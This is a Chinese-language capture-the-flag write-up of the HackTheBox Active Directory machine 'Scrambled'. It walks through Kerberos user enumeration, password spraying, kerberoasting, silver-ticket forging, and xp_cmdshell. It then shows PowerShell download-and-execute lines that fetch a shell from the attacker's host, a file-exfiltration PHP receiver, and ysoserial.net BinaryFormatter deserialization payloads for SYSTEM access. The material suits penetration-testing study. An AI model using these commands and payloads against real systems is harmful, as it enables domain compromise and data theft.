Scrambled Writeup

概述 (Overview)

600

HOST: 10.10.11.168

OS: Windows

发布时间: 2022-06-11

完成时间: 2022-06-28

机器作者: VbScrub

困难程度: Medium

机器状态: Retired

MACHINE TAGS: #ActiveDirectory #Kerberos #SourceCodeAnalysis #ysoserial

攻击链 (Kiillchain)

`以下是 HTB 对该机器的描述`:**Scrambled** 是一台中等级的 Windows **Active Directory** 计算机。

通过枚举远程计算机上托管的网站,潜在攻击者能够推断出用户 **ksimpson** 的凭据。在网站上,还指出 NTLM 身份验证被禁用,这意味着要使用 Kerberos 身份验证。使用 **ksimpson** 凭据访问 **Public**共享时,一个 PDF 文件表示攻击者检索到了 SQL 数据库的凭据。这是一个提示,表明远程计算机上正在运行 SQL 服务。枚举普通用户帐户时,发现帐户 **SqlSvc** 具有与其关联的 **Service Principal Name(SPN)**。攻击者可以使用此信息执行被称为 **kerberoasting** 的攻击,并获取 **SqlSvc** 的哈希。在破解哈希并获取 **SqlSvc** 帐户的凭据后,攻击者可以执行 **silver ticket** (银票据)攻击,伪造票证并在远程 **MSSQL** 服务上模拟 **Administrator** 用户 。数据库的枚举显示用户 **MiscSvc** 的凭据,该凭据可用于使用 **PowerShell** 远程处理在远程计算机上执行代码。

新用户显示 **.NET** 应用程序时的系统枚举,该应用程序正在侦听端口 **4411**。对该应用程序进行反向工程显示,它使用不安全的 **Binary Formatter** 类来传输数据,使攻击者能够上传自己的有效载荷,并以 **nt authority\system** 的身份执行代码。

枚举(Enumeration)

老样子,开始依然是使用 Nmap 对目标服务器开放端口进行信息枚举:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-06-24 09:20:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after:  2023-06-09T15:30:57
| MD5:   679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
|_ssl-date: 2022-06-24T09:23:20+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-06-24T09:23:20+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after:  2023-06-09T15:30:57
| MD5:   679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-06-22T23:41:42
| Not valid after:  2052-06-22T23:41:42
| MD5:   e116 17d3 e8c2 782d b469 82e2 838c 4ba4
|_SHA-1: 7ef1 568d c84d 0861 1bbe 21ab db1d 86f9 c2a2 f839
|_ssl-date: 2022-06-24T09:23:20+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after:  2023-06-09T15:30:57
| MD5:   679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
|_ssl-date: 2022-06-24T09:23:20+00:00; 0s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-06-24T09:23:20+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2022-06-09T15:30:57
| Not valid after:  2023-06-09T15:30:57
| MD5:   679c fca8 69ad 25c0 86d2 e8bb 1792 d7c3
|_SHA-1: bda1 1c23 bafc 973e 60b0 d87c c893 d298 e2d5 4233
4411/tcp  open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49368/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
64653/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| ms-sql-info: 
|   10.10.11.168:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-time: 
|   date: 2022-06-24T09:22:43
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

从信息中可以得到它是 Active Directory 机器,Domain 是 scrm.local,Kerberos 协议服务是对外开放的。同时,存在 SMB、WINRM、DNS 服务和 SQL Server服务。

Port 80 - HTTP

访问 80 端口从网站内容中能够找到一些信息,IT 服务的联系电话是 0866,邮箱则是 support@scramblecorp.com

600

其中还含有重置密码的说明,密码可以重置成与用户名一致。这也就意味着,可能存在弱口令登录类的问题。

Phone 0866
Email support@scramblecorp.com

If no one is available please leave a message stating your username and we will reset your password to be the same as the username. 

立足点(Foothold)

Kerberos枚举

存在 Kerberos 协议服务,所以尝试利用该协议进行账号枚举。在枚举的过程中发现 kerberos_enum_userlists 字典还挺好用的,但就是有点老且不适合中文拼音。

[!ad-note] Kerberos 说明

Kerberos 是由 MIT 提出的一种网络身份验证协议,旨在通过密钥加密技术为客户端/服务器应用程序提供强身份验证,它也是主要用在域环境下的身份认证协议。

# ./kerbrute userenum -d scrm.local --dc 10.10.11.168 /home/x/tools/DictionaryTools/kerberos_enum_userlists/A-ZSurnames.txt -t 20   
...snip...
Version: dev (n/a) - 06/24/22 - Ronnie Flathers @ropnop

2022/06/24 18:56:45 >  Using KDC(s):
2022/06/24 18:56:45 >   10.10.11.168:88

2022/06/24 18:56:45 >  [+] VALID USERNAME:       ASMITH@scrm.local
2022/06/24 18:57:12 >  [+] VALID USERNAME:       JHALL@scrm.local
2022/06/24 18:57:15 >  [+] VALID USERNAME:       KSIMPSON@scrm.local
2022/06/24 18:57:16 >  [+] VALID USERNAME:       KHICKS@scrm.local
2022/06/24 18:57:37 >  [+] VALID USERNAME:       SJENKINS@scrm.local
2022/06/24 18:58:01 >  Done! Tested 13000 usernames (5 valid) in 75.657 seconds

使用编译好的 kerbrute 工具进行用户枚举,发现存在 5 个用户。其中 KSIMPSON 用户在首页的贴图中有出现过,这可能是个突破口。

800

接下来枚举密码,字典里的用户名称均是大写要转小写,很简单使用 tr 命令就可以了。

$ cat /home/x/hackthebox/Scrambled/file/k_users_upper.txt | tr [:upper:] [:lower:] > k_users_lower.txt

继续使用 kerbrute 工具进行枚举,成功枚举出 ksimpson 用户的密码就是 ksimpson。

$ ./kerbrute passwordspray -d scrm.local --dc scrm.local ./k_users_lower.txt ksimpson 
...snip...
2022/06/24 19:15:14 >  [+] VALID LOGIN:  ksimpson@scrm.local:ksimpson

SPN

在使用 impacket 工具获取域用户时出现错误:

# impacket-GetADUsers scrm.local/ksimpson:ksimpson@10.10.11.168 -dc-ip 10.10.11.168 
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

("Unpacked data doesn't match constant value 'b''' should be ''NTLMSSP\\x00''", 'When unpacking field \' | "NTLMSSP\x00 | b\'\'[:8]\'')

# impacket-GetUserSPNs -request -dc-ip 10.10.11.168 scrm.local/ksimpson:ksimpson
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] ("Unpacked data doesn't match constant value 'b''' should be ''NTLMSSP\\x00''", 'When unpacking field \' | "NTLMSSP\x00 | b\'\'[:8]\'')

根据错误信息进行查询,在 https://github.com/SecureAuthCorp/impacket/issues/1343 中找到原因:

此错误表示目标域已禁用 NTLM 身份验证。您必须改用 Kerberos 身份验证。

目前,当您需要使用该选项并且 NTLM 身份验证被禁用时,某些示例脚本中存在问题。-k 因此,作为一种解决方法,您可以使用此技巧或测试此PR。

关闭。如果您需要进一步的帮助,请重新打开。

只能使用 Kerberos 协议进行身份验证,还是得从域服务上找突破口,接下来的步骤就是申请一张白银票据。

# impacket-getTGT scrm.local/ksimpson:ksimpson
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in ksimpson.ccache

or

# ./kerbrute -user ksimpson -password ksimpson -domain scrm.local 
impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Stupendous => ksimpson:ksimpson
[*] Saved TGT in ksimpson.ccache

这里不管使用 impacket-getTGT 还是 kerbrute 工具效果都是一样的,得到一个 Kerberos 票证,接下来尝试进行 PTK(密钥传递攻击)。

# export KRB5CCNAME=/home/x/hackthebox/Scrambled/file/ksimpson.ccache
# impacket-psexec scrm.local/ksimpson@10.10.11.168 -k -no-pass
...snip...

[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

报错了,说在 Kerberos 数据库中找不到服务。继续 Google 搜索了解详情:这意味着您使用了一个未在任何服务帐户上注册的SPN。好吧,看来我还是想的太简单了,需要找到域内注册的 SPN 。

# impacket-GetUserSPNs -dc-ip dc1.scrm.local scrm.local/ksimpson -request -k -no-pass
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] exceptions must derive from BaseException

这里又出错了,继续进行 Google 搜索查询错误原因。根据 https://github.com/SecureAuthCorp/impacket/issues/1206 内容,对工具代码进行修正后再次运行。

700

虽然得到了 SPN 的名称详情,但丢失了后续的票据信息。MSSQLSvc 存在,意味着后面可以登录 SQL Server

700

这里我怀疑是 kali 上的 impacket 太老了,所以就先从 GITHUB 项目下载最新的代码至本地,随后进行安装。

# git clone https://github.com/SecureAuthCorp/impacket.git
# cd impacket/
# python3 -m pip install .

再次运行后成功显示了一张使用用户帐户密码加密的票证:

$ impacket-GetUserSPNs -dc-ip dc1.scrm.local scrm.local/ksimpson -request -k -no-pass
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

ServicePrincipalName          Name    MemberOf  PasswordLastSet             LastLogon                   Delegation 
----------------------------  ------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/dc1.scrm.local:1433  sqlsvc            2021-11-04 00:32:02.351452  2022-06-26 06:29:21.317948             
MSSQLSvc/dc1.scrm.local       sqlsvc            2021-11-04 00:32:02.351452  2022-06-26 06:29:21.317948             



$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$dc6cced98e67aa75b70447c935187dac$52d08100ccd2ebe57994aeba3cc704bd476b76274b1dc5c108bc152570bb64cba5e877049011890bf9e3e8950f5d2a563b63ba50a7d0d16497bfb9d166d36177d97d9b8fd8912b2df760e994325c35fc539e25594b1b72c743292674a0ab6a27b983d9dbd269762af17b1b5816aa4f68a1138bba86b1639aa40e85e988a0e140135628c793424b3e18e1e7dd3271e8a7cc2e983635e0609563d8657020a71635fc8352479ab524bc0f55b578df2f2d9afe742ff54849602a05dc1c20cbeeb25e9c4acb8449d96431106b7bcee4fbd185d43efa711a9055b143f59b797be8a8ab25be1b1c298951fa1ded6774772dc6ac1de7305296e1ffb9b3a052a17e5724ab0d60c1065fdeb91a7d1fc0540e0f63e2ddced0f81f49d80157caba4fd9d401e96e8083d5b4547838db0468dc512f245682821a33e0ff8ebe997ce96e3459892e5739f17d26d6fcb8d1f1d6d30f66390d7a9272790fcbf2cd0fb0d6a4d09abf6e52b84980e4ba2c3733aa90c815e090abdd7b49267a261d30c1621446124579fb30a2abe50e8682b2079b0794bd51fb61f9fcca23b633cbc84b1a48f51f36d9fc844898ddabb2ea5f752dd13440f7f69245c3f9370b6e3e0e613acac762b017ee8806835a8c00b45a42e7aacad370bf6d6e0232afdd7b35416ccb2657f8f7a2ed3f244c9486b0a424b94efe21f967d522e5b8f4fdba1b0434dce280583fa716856f5d8652ccaccadb0567f577955722ed20b902a8e1515a2fcfa86a2158ebac838927178f77071eb7fbadc0eb581e3906c908113c5165c23dfeef9d7534505bce4578e55c5af2465d9a0693489035a3588e5597f9e76f40ff620c6311c9802868cc9050fd405cab80cd79d76fd5077e2996560c883e79fa673db0864f2ef394451bb9014a897c7d58b5aba0bde92c34af1e0e68616f1694b483fe572d72f8efd0f48818a35a28f79d115ca125bb447cf3e021ef9e773b4e225519c2047bde2e5db831b11fe0ca4b872987ae83072718415b5e1616e295a1f794991e49fd3a1d2cded8c4399055ca11a020dcf6cbfc1695d534ca3dd3ccb8dc3d18a06b2f0d6911adb69934e9845d6aefe1ac5b562a306d2d1423fe7ad701d492b93b3b776fec8d12c5c97451beb2722ab076a88940cf667c456db37b32e8e80dd7687d7300abe9c183aa78687898947e6ed1f108c4c099525a0db9c159ccdda6596dc0fb2faf3e865f5a49a471c2c58faac06c50db7efbb93c186a4f31c99f9dbffbffd20822b7dbff1ffa0b68c26b82e75b808f9ecf01b21adad2138b1697e7eec9d48b93567a1c2b0bbddbfb798ba881d70ee038d6ce2bea328d22aa009cde0500e9a3654d236c352b9f5b343f1bd263ca10d9a56072c23722d71494e670ac5a5496a2016237c91a3b0372951b274b44b28f14734f4fa6c50ebc29221f135a3bbb

接着使用 john 工具枚举这种张票据 hash,成功碰撞出了明文密码。

800

sqlvc:Pegasus60

票据伪造

要登录 MSSQLSvc 服务还是得走 Kerberos 协议,这里可以基于 SPN 创建一张已 Administrator 身份颁发的票据。可以访问 https://adsecurity.org/?p=2011 来详细了解票据详情。

想利用白银票据需要先知道以下信息:

  • 域名
  • 域 SID
  • 目标服务器的 FQDN 即完整的域名
  • 可利用的服务
  • 服务账户的 NTLM 哈希
  • 伪造的用户名即任意用户名

krbtgt 的 NTLM Hash 这个可以访问 https://codebeautify.org/ntlm-hash-generator 进行在线转换:

PASS: Pegasus60

NTHASH: B999A16500B87D17EC7F2E2A68778F05

而域的 SID ,因为禁用了 ntlm 验证使用 lookupsid 会提示: STATUS_NOT_SUPPORTED。这里有两种方式获得,首先是运行 impacket-getPac
此脚本将获得指定目标用户的PAC【Privilege Attribute Certificate】结构,该目标用户仅具有经过正常身份验证的用户凭据。它通过混合使用[MS-SFU]的S4USelf+用户对用户Kerberos身份验证来实现这一点。) 获得。另一种是使用 LDAPSearch 查询 objectSid 的编码并解密。

随后就可以使用 impacket-ticketer 并传递所需要的参数,就生成了一张银票。

# impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -user-id 500 -spn MSSQLSvc/dc1.scrm.local Administrator 
Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

随后使用这张银票据,成功登录 SQL Server 服务:

800

xp_cmdshell

关于 SQL Server 的命令执行最熟知的就是 xp_cmdshell ,使用它可以进行命令执行反弹 shell。

SQL> enable_xp_cmdshell  
[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.    
SQL> xp_cmdshell whoami
scrm\sqlsvc

使用 xp_cmdshell 运行 PowerShell 语句,成功拿到交互 shell。

image

横向移动(Lateral Movement)

首先做的事情就是搜索用户 flag,发现当前 PSSession 是没有查看权限的,需要进行账户间的横向移动。

PS> Get-ChildItem -Path C:\Users -Recurse -Include user.txt

通过查看 Users 文件夹知道存在 miscsvc 用户,所以这里直接使用它的凭证运行 PowerShell 执行拿 PSSession 就可以了。

凭据参数用于允许你以其他用户的身份运行函数或 cmdlet。 https://learn.microsoft.com/zh-cn/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions?view=powershell-7.3

修改好用于上线的 Invoke-PowerShellTcp.ps1 并开启一个 Web 服务,随后执行如下 PowerShell 语句:

$secpasswd = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("miscsvc",$secpasswd)
Invoke-Command -ComputerName dc1 -ScriptBlock { IEX(New-Object Net.WebClient).downloadstring('http://<kali ip>/shell.ps1') } -Credential $mycreds

600

权限提升(Privilege Escalation)

对服务器上的内容进行浏览,发现在 C:\Shares\IT\Apps\Sales Order Client\ 路径里存在一个应用。随后结合 PowerShell 上传文件,在 Kali 上进行接收,进行本地分析。

# 文件路径
C:\Shares\IT\Apps\Sales Order Client\ScrambleClient.exe
C:\Shares\IT\Apps\Sales Order Client\ScrambleLib.dll

# 发送 HTTP 请求进行文件传递
$body = Get-Content ScrambleClient.exe
Invoke-RestMethod -Uri http://<kali ip>:8000/PUT.php?file_name=ScrambleLib.exe -Method PUT -Body $body

在 Kali 上运行 php 脚本接收发送过来的文件:

<?php
$file_name=$_REQUEST['file_name'];
$file_data=file_get_contents('php://input');
print_r("[+] upload...");
if($file_data!=''){
        file_put_contents($file_name, $file_data, true);
}
print_r("[+] end!");

800

首先对 exe 文件进行查壳,用到的工具是 https://github.com/horsicq/DIE-engine/releases,多平台 GUI 工具。

400

发没加壳它就是一个 32 位程序,编译器用的是 .NET ,直接使用 AvaloniaILSpy 工具就可以查看源代码。AvaloniaILSpy 其实就是 ILSpy 程序的对平台移植版,专门用来反编码查看 .NET 程序。

public ScrambleNetClient()
{
	Server = string.Empty;
	Port = 4411;
}
...snip...
public void UploadOrder(SalesOrder NewOrder)
{
	try
	{
		Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
		string text = NewOrder.SerializeToBase64();
		Log.Write("Order serialized to base64: " + text);
		ScrambleNetResponse scrambleNetResponse = SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));
		ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
		if (type == ScrambleNetResponse.ResponseType.Success)
		{
			Log.Write("Upload successful");
			return;
		}
		throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
	}
	catch (Exception ex)
	{
		ProjectData.SetProjectError(ex);
		Exception ex2 = ex;
		Log.Write("Error: " + ex2.Message);
		throw ex2;
	}
}
...snip...
public string SerializeToBase64()
{
	BinaryFormatter binaryFormatter = new BinaryFormatter();
	Log.Write("Binary formatter init successful");
	using MemoryStream memoryStream = new MemoryStream();
	binaryFormatter.Serialize(memoryStream, this);
	return Convert.ToBase64String(memoryStream.ToArray());
}

关键代码在上面这段,在上传排序的方法中可以看到使用了序列化(binaryFormatter.Serialize)。通过本地运行 exe 程序进行登录,加 Wireshark 抓包可以发现数据包规律。而使用代码里的 scrmdev 用户可以直接登录。

600

结合代码分析,数据包传输格式为: <消息类型>;<binaryFormatter类系列化数据>\n

700

600

接下来要做的是构造序列化数据包,发送到目标服务器的 4411 端口上。例如将数据包通过 nc 进行发送:

image

对于 .NET 的序列化攻击,可以使用 ysoserial.net 工具进行构建。例如使用 ysoserial 生成一个 ping 的 cmdlet,进行命令执行测试。

image

C:\Users\x>Z:\ysoserial-1.34\Release\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "ping <kali ip>"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2Vjd...snip...OTJhV1JsY2o0TAs=

将生成的序列化字符串内容进行格式拼接,随后监听 icmp 协议。可以看到目标服务器执行了我们构造的 ping 命令。

800

接着就简单了,继续构造 PowerShell 反弹 shell 命令,发送后成功获得 system 权限的 PSSession 。

C:\Users\x>Z:\ysoserial-1.34\Release\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell.exe IEX (new-object net.webclient).downloadstring('http://<kali ip>/shell.ps1')"
AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN...snip...mhVSEp2ZG1sa1pYSStDdz09Cw==

700

复盘

WinRM Kerberos

仔细检查数据库,会得到一组新的密码组:

SQL> SELECT name FROM master.dbo.sysdatabases
name                                                                                                        --------------------------------------------------------------------------------------------------------------------------------   
master
tempdb
model
msdb
ScrambleHR
...snip...
SQL> use ScrambleHR;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
[*] INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
SQL> select * from UserImport;
LdapUser|LdapPwd|LdapDomain|
MiscSvc:ScrambledEggs9900:scrm.local
...snip...

但使用 winrm 默认的摘要式身份验证是无法登录的,因为它启用 Kerberos 身份验证。而使用 Kerberos 票据并修改 /etc/krb5.conf 内容,将目标域添加进来才可以。

[libdefaults]
        default_realm = SCRM.LOCAL


[realms]
        SCRM.LOCAL = {
            kdc = DC1.scrm.local
        }

[domain_realm]
        .scrm.local = SCRM.LOCAL
        scrm.local = SCRM.LOCAL

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。